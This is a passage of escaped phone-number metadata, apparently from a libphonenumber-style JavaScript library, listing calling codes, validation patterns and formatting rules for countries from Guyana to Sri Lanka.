$3\",[\"[49]\"]]]],GY:[\"592\",\"001\",\"(?:[2-8]\\\\d{3}|9008)\\\\d{3}\",[7],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[2-9]\"]]]],HK:[\"852\",\"00(?:30|5[09]|[126-9]?)\",\"8[0-46-9]\\\\d{6,7}|9\\\\d{4,7}|(?:[2-7]|9\\\\d{3})\\\\d{7}\",[5,6,7,8,9,11],[[\"(\\\\d{3})(\\\\d{2,5})\",\"$1 $2\",[\"900\",\"9003\"]],[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[2-7]|8[1-4]|9(?:0[1-9]|[1-8])\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"8\"]],[\"(\\\\d{3})(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"9\"]]],0,0,0,0,0,0,0,\"00\"],HN:[\"504\",\"00\",\"8\\\\d{10}|[237-9]\\\\d{7}\",[8,11],[[\"(\\\\d{4})(\\\\d{4})\",\"$1-$2\",[\"[237-9]\"]]]],HR:[\"385\",\"00\",\"(?:[24-69]\\\\d|3[0-79])\\\\d{7}|80\\\\d{5,7}|[1-79]\\\\d{7}|6\\\\d{5,6}\",[6,7,8,9],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2,3})\",\"$1 $2 $3\",[\"6[01]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2,3})\",\"$1 $2 $3\",[\"8\"],\"0$1\"],[\"(\\\\d)(\\\\d{4})(\\\\d{3})\",\"$1 $2 $3\",[\"1\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[67]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"9\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[2-5]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"8\"],\"0$1\"]],\"0\"],HT:[\"509\",\"00\",\"(?:[2-489]\\\\d|55)\\\\d{6}\",[8],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{4})\",\"$1 $2 $3\",[\"[2-589]\"]]]],HU:[\"36\",\"00\",\"[235-7]\\\\d{8}|[1-9]\\\\d{7}\",[8,9],[[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"1\"],\"(06 $1)\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[27][2-9]|3[2-7]|4[24-9]|5[2-79]|6|8[2-57-9]|9[2-69]\"],\"(06 $1)\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[2-9]\"],\"06 $1\"]],\"06\"],ID:[\"62\",\"00[89]\",\"(?:(?:00[1-9]|8\\\\d)\\\\d{4}|[1-36])\\\\d{6}|00\\\\d{10}|[1-9]\\\\d{8,10}|[2-9]\\\\d{7}\",[7,8,9,10,11,12,13],[[\"(\\\\d)(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"15\"]],[\"(\\\\d{2})(\\\\d{5,9})\",\"$1 $2\",[\"2[124]|[36]1\"],\"(0$1)\"],[\"(\\\\d{3})(\\\\d{5,7})\",\"$1 $2\",[\"800\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{5,8})\",\"$1 $2\",[\"[2-79]\"],\"(0$1)\"],[\"(\\\\d{3})(\\\\d{3,4})(\\\\d{3})\",\"$1-$2-$3\",[\"8[1-35-9]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{6,8})\",\"$1 $2\",[\"1\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"804\"],\"0$1\"],[\"(\\\\d{3})(\\\\d)(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"80\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{4})(\\\\d{4,5})\",\"$1-$2-$3\",[\"8\"],\"0$1\"]],\"0\"],IE:[\"353\",\"00\",\"(?:1\\\\d|[2569])\\\\d{6,8}|4\\\\d{6,9}|7\\\\d{8}|8\\\\d{8,9}\",[7,8,9,10],[[\"(\\\\d{2})(\\\\d{5})\",\"$1 $2\",[\"2[24-9]|47|58|6[237-9]|9[35-9]\"],\"(0$1)\"],[\"(\\\\d{3})(\\\\d{5})\",\"$1 $2\",[\"[45]0\"],\"(0$1)\"],[\"(\\\\d)(\\\\d{3,4})(\\\\d{4})\",\"$1 $2 $3\",[\"1\"],\"(0$1)\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[2569]|4[1-69]|7[14]\"],\"(0$1)\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"70\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"81\"],\"(0$1)\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[78]\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"1\"]],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"4\"],\"(0$1)\"],[\"(\\\\d{2})(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3 $4\",[\"8\"],\"0$1\"]],\"0\"],IL:[\"972\",\"0(?:0|1[2-9])\",\"1\\\\d{6}(?:\\\\d{3,5})?|[57]\\\\d{8}|[1-489]\\\\d{7}\",[7,8,9,10,11,12],[[\"(\\\\d{4})(\\\\d{3})\",\"$1-$2\",[\"125\"]],[\"(\\\\d{4})(\\\\d{2})(\\\\d{2})\",\"$1-$2-$3\",[\"121\"]],[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1-$2-$3\",[\"[2-489]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1-$2-$3\",[\"[57]\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{3})(\\\\d{3})\",\"$1-$2-$3\",[\"12\"]],[\"(\\\\d{4})(\\\\d{6})\",\"$1-$2\",[\"159\"]],[\"(\\\\d)(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1-$2-$3-$4\",[\"1[7-9]\"]],[\"(\\\\d{3})(\\\\d{1,2})(\\\\d{3})(\\\\d{4})\",\"$1-$2 $3-$4\",[\"15\"]]],\"0\"],IM:[\"44\",\"00\",\"1624\\\\d{6}|(?:[3578]\\\\d|90)\\\\d{8}\",[10],0,\"0\",0,\"([25-8]\\\\d{5})$|0\",\"1624$1\",0,\"74576|(?:16|7[56])24\"],IN:[\"91\",\"00\",\"(?:000800|[2-9]\\\\d\\\\d)\\\\d{7}|1\\\\d{7,12}\",[8,9,10,11,12,13],[[\"(\\\\d{8})\",\"$1\",[\"5(?:0|2[23]|3[03]|[67]1|88)\",\"5(?:0|2(?:21|3)|3(?:0|3[23])|616|717|888)\",\"5(?:0|2(?:21|3)|3(?:0|3[23])|616|717|8888)\"],0,1],[\"(\\\\d{4})(\\\\d{4,5})\",\"$1 $2\",[\"180\",\"1800\"],0,1],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"140\"],0,1],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"11|2[02]|33|4[04]|79[1-7]|80[2-46]\",\"11|2[02]|33|4[04]|79(?:[1-6]|7[19])|80(?:[2-4]|6[0-589])\",\"11|2[02]|33|4[04]|79(?:[124-6]|3(?:[02-9]|1[0-24-9])|7(?:1|9[1-6]))|80(?:[2-4]|6[0-589])\"],\"0$1\",1],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"1(?:2[0-249]|3[0-25]|4[145]|[68]|7[1257])|2(?:1[257]|3[013]|4[01]|5[0137]|6[0158]|78|8[1568])|3(?:26|4[1-3]|5[34]|6[01489]|7[02-46]|8[159])|4(?:1[36]|2[1-47]|5[12]|6[0-26-9]|7[0-24-9]|8[013-57]|9[014-7])|5(?:1[025]|22|[36][25]|4[28]|5[12]|[78]1)|6(?:12|[2-4]1|5[17]|6[13]|80)|7(?:12|3[134]|4[47]|61|88)|8(?:16|2[014]|3[126]|6[136]|7[078]|8[34]|91)|(?:43|59|75)[15]|(?:1[59]|29|67|72)[14]\",\"1(?:2[0-24]|3[0-25]|4[145]|[59][14]|6[1-9]|7[1257]|8[1-57-9])|2(?:1[257]|3[013]|4[01]|5[0137]|6[058]|78|8[1568]|9[14])|3(?:26|4[1-3]|5[34]|6[01489]|7[02-46]|8[159])|4(?:1[36]|2[1-47]|3[15]|5[12]|6[0-26-9]|7[0-24-9]|8[013-57]|9[014-7])|5(?:1[025]|22|[36][25]|4[28]|[578]1|9[15])|674|7(?:(?:2[14]|3[34]|5[15])[2-6]|61[346]|88[0-8])|8(?:70[2-6]|84[235-7]|91[3-7])|(?:1(?:29|60|8[06])|261|552|6(?:12|[2-47]1|5[17]|6[13]|80)|7(?:12|31|4[47])|8(?:16|2[014]|3[126]|6[136]|7[78]|83))[2-7]\",\"1(?:2[0-24]|3[0-25]|4[145]|[59][14]|6[1-9]|7[1257]|8[1-57-9])|2(?:1[257]|3[013]|4[01]|5[0137]|6[058]|78|8[1568]|9[14])|3(?:26|4[1-3]|5[34]|6[01489]|7[02-46]|8[159])|4(?:1[36]|2[1-47]|3[15]|5[12]|6[0-26-9]|7[0-24-9]|8[013-57]|9[014-7])|5(?:1[025]|22|[36][25]|4[28]|[578]1|9[15])|6(?:12(?:[2-6]|7[0-8])|74[2-7])|7(?:(?:2[14]|5[15])[2-6]|3171|61[346]|88(?:[2-7]|82))|8(?:70[2-6]|84(?:[2356]|7[19])|91(?:[3-6]|7[19]))|73[134][2-6]|(?:74[47]|8(?:16|2[014]|3[126]|6[136]|7[78]|83))(?:[2-6]|7[19])|(?:1(?:29|60|8[06])|261|552|6(?:[2-4]1|5[17]|6[13]|7(?:1|4[0189])|80)|7(?:12|88[01]))[2-7]\"],\"0$1\",1],[\"(\\\\d{4})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"1(?:[2-479]|5[0235-9])|[2-5]|6(?:1[1358]|2[2457-9]|3[2-5]|4[235-7]|5[2-689]|6[24578]|7[235689]|8[1-6])|7(?:1[013-9]|28|3[129]|4[1-35689]|5[29]|6[02-5]|70)|807\",\"1(?:[2-479]|5[0235-9])|[2-5]|6(?:1[1358]|2(?:[2457]|84|95)|3(?:[2-4]|55)|4[235-7]|5[2-689]|6[24578]|7[235689]|8[1-6])|7(?:1(?:[013-8]|9[6-9])|28[6-8]|3(?:17|2[0-49]|9[2-57])|4(?:1[2-4]|[29][0-7]|3[0-8]|[56]|8[0-24-7])|5(?:2[1-3]|9[0-6])|6(?:0[5689]|2[5-9]|3[02-8]|4|5[0-367])|70[13-7])|807[19]\",\"1(?:[2-479]|5(?:[0236-9]|5[013-9]))|[2-5]|6(?:2(?:84|95)|355|83)|73179|807(?:1|9[1-3])|(?:1552|6(?:1[1358]|2[2457]|3[2-4]|4[235-7]|5[2-689]|6[24578]|7[235689]|8[124-6])\\\\d|7(?:1(?:[013-8]\\\\d|9[6-9])|28[6-8]|3(?:2[0-49]|9[2-57])|4(?:1[2-4]|[29][0-7]|3[0-8]|[56]\\\\d|8[0-24-7])|5(?:2[1-3]|9[0-6])|6(?:0[5689]|2[5-9]|3[02-8]|4\\\\d|5[0-367])|70[13-7]))[2-7]\"],\"0$1\",1],[\"(\\\\d{5})(\\\\d{5})\",\"$1 $2\",[\"[6-9]\"],\"0$1\",1],[\"(\\\\d{4})(\\\\d{2,4})(\\\\d{4})\",\"$1 $2 $3\",[\"1(?:6|8[06])\",\"1(?:6|8[06]0)\"],0,1],[\"(\\\\d{4})(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"18\"],0,1]],\"0\"],IO:[\"246\",\"00\",\"3\\\\d{6}\",[7],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"3\"]]]],IQ:[\"964\",\"00\",\"(?:1|7\\\\d\\\\d)\\\\d{7}|[2-6]\\\\d{7,8}\",[8,9,10],[[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"1\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[2-6]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"7\"],\"0$1\"]],\"0\"],IR:[\"98\",\"00\",\"[1-9]\\\\d{9}|(?:[1-8]\\\\d\\\\d|9)\\\\d{3,4}\",[4,5,6,7,10],[[\"(\\\\d{4,5})\",\"$1\",[\"96\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{4,5})\",\"$1 $2\",[\"(?:1[137]|2[13-68]|3[1458]|4[145]|5[1468]|6[16]|7[1467]|8[13467])[12689]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"9\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"[1-8]\"],\"0$1\"]],\"0\"],IS:[\"354\",\"00|1(?:0(?:01|[12]0)|100)\",\"(?:38\\\\d|[4-9])\\\\d{6}\",[7,9],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[4-9]\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"3\"]]],0,0,0,0,0,0,0,\"00\"],IT:[\"39\",\"00\",\"0\\\\d{5,10}|1\\\\d{8,10}|3(?:[0-8]\\\\d{7,10}|9\\\\d{7,8})|(?:55|70)\\\\d{8}|8\\\\d{5}(?:\\\\d{2,4})?\",[6,7,8,9,10,11],[[\"(\\\\d{2})(\\\\d{4,6})\",\"$1 $2\",[\"0[26]\"]],[\"(\\\\d{3})(\\\\d{3,6})\",\"$1 $2\",[\"0[13-57-9][0159]|8(?:03|4[17]|9[2-5])\",\"0[13-57-9][0159]|8(?:03|4[17]|9(?:2|3[04]|[45][0-4]))\"]],[\"(\\\\d{4})(\\\\d{2,6})\",\"$1 $2\",[\"0(?:[13-579][2-46-8]|8[236-8])\"]],[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"894\"]],[\"(\\\\d{2})(\\\\d{3,4})(\\\\d{4})\",\"$1 $2 $3\",[\"0[26]|5\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"1(?:44|[679])|[378]\"]],[\"(\\\\d{3})(\\\\d{3,4})(\\\\d{4})\",\"$1 $2 $3\",[\"0[13-57-9][0159]|14\"]],[\"(\\\\d{2})(\\\\d{4})(\\\\d{5})\",\"$1 $2 $3\",[\"0[26]\"]],[\"(\\\\d{4})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"0\"]],[\"(\\\\d{3})(\\\\d{4})(\\\\d{4,5})\",\"$1 $2 $3\",[\"3\"]]],0,0,0,0,0,0,[[\"0669[0-79]\\\\d{1,6}|0(?:1(?:[0159]\\\\d|[27][1-5]|31|4[1-4]|6[1356]|8[2-57])|2\\\\d\\\\d|3(?:[0159]\\\\d|2[1-4]|3[12]|[48][1-6]|6[2-59]|7[1-7])|4(?:[0159]\\\\d|[23][1-9]|4[245]|6[1-5]|7[1-4]|81)|5(?:[0159]\\\\d|2[1-5]|3[2-6]|4[1-79]|6[4-6]|7[1-578]|8[3-8])|6(?:[0-57-9]\\\\d|6[0-8])|7(?:[0159]\\\\d|2[12]|3[1-7]|4[2-46]|6[13569]|7[13-6]|8[1-59])|8(?:[0159]\\\\d|2[3-578]|3[1-356]|[6-8][1-5])|9(?:[0159]\\\\d|[238][1-5]|4[12]|6[1-8]|7[1-6]))\\\\d{2,7}\"],[\"3[1-9]\\\\d{8}|3[2-9]\\\\d{7}\",[9,10]],[\"80(?:0\\\\d{3}|3)\\\\d{3}\",[6,9]],[\"(?:0878\\\\d{3}|89(?:2\\\\d|3[04]|4(?:[0-4]|[5-9]\\\\d\\\\d)|5[0-4]))\\\\d\\\\d|(?:1(?:44|6[346])|89(?:38|5[5-9]|9))\\\\d{6}\",[6,8,9,10]],[\"1(?:78\\\\d|99)\\\\d{6}\",[9,10]],0,0,0,[\"55\\\\d{8}\",[10]],[\"84(?:[08]\\\\d{3}|[17])\\\\d{3}\",[6,9]]]],JE:[\"44\",\"00\",\"1534\\\\d{6}|(?:[3578]\\\\d|90)\\\\d{8}\",[10],0,\"0\",0,\"([0-24-8]\\\\d{5})$|0\",\"1534$1\",0,0,[[\"1534[0-24-8]\\\\d{5}\"],[\"7(?:(?:(?:50|82)9|937)\\\\d|7(?:00[378]|97[7-9]))\\\\d{5}\"],[\"80(?:07(?:35|81)|8901)\\\\d{4}\"],[\"(?:8(?:4(?:4(?:4(?:05|42|69)|703)|5(?:041|800))|7(?:0002|1206))|90(?:066[59]|1810|71(?:07|55)))\\\\d{4}\"],[\"701511\\\\d{4}\"],0,[\"(?:3(?:0(?:07(?:35|81)|8901)|3\\\\d{4}|4(?:4(?:4(?:05|42|69)|703)|5(?:041|800))|7(?:0002|1206))|55\\\\d{4})\\\\d{4}\"],[\"76(?:464|652)\\\\d{5}|76(?:0[0-28]|2[356]|34|4[01347]|5[49]|6[0-369]|77|8[14]|9[139])\\\\d{6}\"],[\"56\\\\d{8}\"]]],JM:[\"1\",\"011\",\"(?:[58]\\\\d\\\\d|658|900)\\\\d{7}\",[10],0,\"1\",0,0,0,0,\"658|876\"],JO:[\"962\",\"00\",\"(?:(?:[2689]|7\\\\d)\\\\d|32|53)\\\\d{6}\",[8,9],[[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[2356]|87\"],\"(0$1)\"],[\"(\\\\d{3})(\\\\d{5,6})\",\"$1 $2\",[\"[89]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{7})\",\"$1 $2\",[\"70\"],\"0$1\"],[\"(\\\\d)(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"7\"],\"0$1\"]],\"0\"],JP:[\"81\",\"010\",\"00[1-9]\\\\d{6,14}|[257-9]\\\\d{9}|(?:00|[1-9]\\\\d\\\\d)\\\\d{6}\",[8,9,10,11,12,13,14,15,16,17],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1-$2-$3\",[\"(?:12|57|99)0\"],\"0$1\"],[\"(\\\\d{4})(\\\\d)(\\\\d{4})\",\"$1-$2-$3\",[\"1(?:26|3[79]|4[56]|5[4-68]|6[3-5])|499|5(?:76|97)|746|8(?:3[89]|47|51)|9(?:80|9[16])\",\"1(?:267|3(?:7[247]|9[278])|466|5(?:47|58|64)|6(?:3[245]|48|5[4-68]))|499[2468]|5(?:76|97)9|7468|8(?:3(?:8[7-9]|96)|477|51[2-9])|9(?:802|9(?:1[23]|69))|1(?:45|58)[67]\",\"1(?:267|3(?:7[247]|9[278])|466|5(?:47|58|64)|6(?:3[245]|48|5[4-68]))|499[2468]|5(?:769|979[2-69])|7468|8(?:3(?:8[7-9]|96[2457-9])|477|51[2-9])|9(?:802|9(?:1[23]|69))|1(?:45|58)[67]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1-$2-$3\",[\"60\"],\"0$1\"],[\"(\\\\d)(\\\\d{4})(\\\\d{4})\",\"$1-$2-$3\",[\"[36]|4(?:2[09]|7[01])\",\"[36]|4(?:2(?:0|9[02-69])|7(?:0[019]|1))\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1-$2-$3\",[\"1(?:1|5[45]|77|88|9[69])|2(?:2[1-37]|3[0-269]|4[59]|5|6[24]|7[1-358]|8[1369]|9[0-38])|4(?:[28][1-9]|3[0-57]|[45]|6[248]|7[2-579]|9[29])|5(?:2|3[0459]|4[0-369]|5[29]|8[02389]|9[0-389])|7(?:2[02-46-9]|34|[58]|6[0249]|7[57]|9[2-6])|8(?:2[124589]|3[26-9]|49|51|6|7[0-468]|8[68]|9[019])|9(?:[23][1-9]|4[15]|5[138]|6[1-3]|7[156]|8[189]|9[1-489])\",\"1(?:1|5(?:4[018]|5[017])|77|88|9[69])|2(?:2(?:[127]|3[014-9])|3[0-269]|4[59]|5(?:[1-3]|5[0-69]|9[19])|62|7(?:[1-35]|8[0189])|8(?:[16]|3[0134]|9[0-5])|9(?:[028]|17))|4(?:2(?:[13-79]|8[014-6])|3[0-57]|[45]|6[248]|7[2-47]|8[1-9]|9[29])|5(?:2|3(?:[045]|9[0-8])|4[0-369]|5[29]|8[02389]|9[0-3])|7(?:2[02-46-9]|34|[58]|6[0249]|7[57]|9(?:[23]|4[0-59]|5[01569]|6[0167]))|8(?:2(?:[1258]|4[0-39]|9[0-2469])|3(?:[29]|60)|49|51|6(?:[0-24]|36|5[0-3589]|7[23]|9[01459])|7[0-468]|8[68])|9(?:[23][1-9]|4[15]|5[138]|6[1-3]|7[156]|8[189]|9(?:[1289]|3[34]|4[0178]))|(?:264|837)[016-9]|2(?:57|93)[015-9]|(?:25[0468]|422|838)[01]|(?:47[59]|59[89]|8(?:6[68]|9))[019]\",\"1(?:1|5(?:4[018]|5[017])|77|88|9[69])|2(?:2[127]|3[0-269]|4[59]|5(?:[1-3]|5[0-69]|9(?:17|99))|6(?:2|4[016-9])|7(?:[1-35]|8[0189])|8(?:[16]|3[0134]|9[0-5])|9(?:[028]|17))|4(?:2(?:[13-79]|8[014-6])|3[0-57]|[45]|6[248]|7[2-47]|9[29])|5(?:2|3(?:[045]|9(?:[0-58]|6[4-9]|7[0-35689]))|4[0-369]|5[29]|8[02389]|9[0-3])|7(?:2[02-46-9]|34|[58]|6[0249]|7[57]|9(?:[23]|4[0-59]|5[01569]|6[0167]))|8(?:2(?:[1258]|4[0-39]|9[0169])|3(?:[29]|60|7(?:[017-9]|6[6-8]))|49|51|6(?:[0-24]|36[2-57-9]|5(?:[0-389]|5[23])|6(?:[01]|9[178])|7(?:2[2-468]|3[78])|9[0145])|7[0-468]|8[68])|9(?:4[15]|5[138]|7[156]|8[189]|9(?:[1289]|3(?:31|4[357])|4[0178]))|(?:8294|96)[1-3]|2(?:57|93)[015-9]|(?:223|8699)[014-9]|(?:25[0468]|422|838)[01]|(?:48|8292|9[23])[1-9]|(?:47[59]|59[89]|8(?:68|9))[019]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{4})\",\"$1-$2-$3\",[\"[14]|[289][2-9]|5[3-9]|7[2-4679]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1-$2-$3\",[\"800\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1-$2-$3\",[\"[257-9]\"],\"0$1\"]],\"0\",0,\"(000[259]\\\\d{6})$|(?:(?:003768)0?)|0\",\"$1\"],KE:[\"254\",\"000\",\"(?:[17]\\\\d\\\\d|900)\\\\d{6}|(?:2|80)0\\\\d{6,7}|[4-6]\\\\d{6,8}\",[7,8,9,10],[[\"(\\\\d{2})(\\\\d{5,7})\",\"$1 $2\",[\"[24-6]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{6})\",\"$1 $2\",[\"[17]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[89]\"],\"0$1\"]],\"0\"],KG:[\"996\",\"00\",\"8\\\\d{9}|[235-9]\\\\d{8}\",[9,10],[[\"(\\\\d{4})(\\\\d{5})\",\"$1 $2\",[\"3(?:1[346]|[24-79])\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[235-79]|88\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d)(\\\\d{2,3})\",\"$1 $2 $3 $4\",[\"8\"],\"0$1\"]],\"0\"],KH:[\"855\",\"00[14-9]\",\"1\\\\d{9}|[1-9]\\\\d{7,8}\",[8,9,10],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[1-9]\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"1\"]]],\"0\"],KI:[\"686\",\"00\",\"(?:[37]\\\\d|6[0-79])\\\\d{6}|(?:[2-48]\\\\d|50)\\\\d{3}\",[5,8],0,\"0\"],KM:[\"269\",\"00\",\"[3478]\\\\d{6}\",[7],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3\",[\"[3478]\"]]]],KN:[\"1\",\"011\",\"(?:[58]\\\\d\\\\d|900)\\\\d{7}\",[10],0,\"1\",0,\"([2-7]\\\\d{6})$|1\",\"869$1\",0,\"869\"],KP:[\"850\",\"00|99\",\"85\\\\d{6}|(?:19\\\\d|[2-7])\\\\d{7}\",[8,10],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"8\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[2-7]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"1\"],\"0$1\"]],\"0\"],KR:[\"82\",\"00(?:[125689]|3(?:[46]5|91)|7(?:00|27|3|55|6[126]))\",\"00[1-9]\\\\d{8,11}|(?:[12]|5\\\\d{3})\\\\d{7}|[13-6]\\\\d{9}|(?:[1-6]\\\\d|80)\\\\d{7}|[3-6]\\\\d{4,5}|(?:00|7)0\\\\d{8}\",[5,6,8,9,10,11,12,13,14],[[\"(\\\\d{2})(\\\\d{3,4})\",\"$1-$2\",[\"(?:3[1-3]|[46][1-4]|5[1-5])1\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{4})\",\"$1-$2\",[\"1\"]],[\"(\\\\d)(\\\\d{3,4})(\\\\d{4})\",\"$1-$2-$3\",[\"2\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1-$2-$3\",[\"60|8\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3,4})(\\\\d{4})\",\"$1-$2-$3\",[\"[1346]|5[1-5]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1-$2-$3\",[\"[57]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{5})(\\\\d{4})\",\"$1-$2-$3\",[\"5\"],\"0$1\"]],\"0\",0,\"0(8(?:[1-46-8]|5\\\\d\\\\d))?\"],KW:[\"965\",\"00\",\"18\\\\d{5}|(?:[2569]\\\\d|41)\\\\d{6}\",[7,8],[[\"(\\\\d{4})(\\\\d{3,4})\",\"$1 $2\",[\"[169]|2(?:[235]|4[1-35-9])|52\"]],[\"(\\\\d{3})(\\\\d{5})\",\"$1 $2\",[\"[245]\"]]]],KY:[\"1\",\"011\",\"(?:345|[58]\\\\d\\\\d|900)\\\\d{7}\",[10],0,\"1\",0,\"([2-9]\\\\d{6})$|1\",\"345$1\",0,\"345\"],KZ:[\"7\",\"810\",\"(?:33622|8\\\\d{8})\\\\d{5}|[78]\\\\d{9}\",[10,14],0,\"8\",0,0,0,0,\"33|7\",0,\"8~10\"],LA:[\"856\",\"00\",\"[23]\\\\d{9}|3\\\\d{8}|(?:[235-8]\\\\d|41)\\\\d{6}\",[8,9,10],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"2[13]|3[14]|[4-8]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"30[013-9]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"[23]\"],\"0$1\"]],\"0\"],LB:[\"961\",\"00\",\"[27-9]\\\\d{7}|[13-9]\\\\d{6}\",[7,8],[[\"(\\\\d)(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[13-69]|7(?:[2-57]|62|8[0-7]|9[04-9])|8[02-9]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[27-9]\"]]],\"0\"],LC:[\"1\",\"011\",\"(?:[58]\\\\d\\\\d|758|900)\\\\d{7}\",[10],0,\"1\",0,\"([2-8]\\\\d{6})$|1\",\"758$1\",0,\"758\"],LI:[\"423\",\"00\",\"[68]\\\\d{8}|(?:[2378]\\\\d|90)\\\\d{5}\",[7,9],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3\",[\"[2379]|8(?:0[09]|7)\",\"[2379]|8(?:0(?:02|9)|7)\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"8\"]],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"69\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"6\"]]],\"0\",0,\"(1001)|0\"],LK:[\"94\",\"00\",\"[1-9]\\\\d{8}\",[9],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 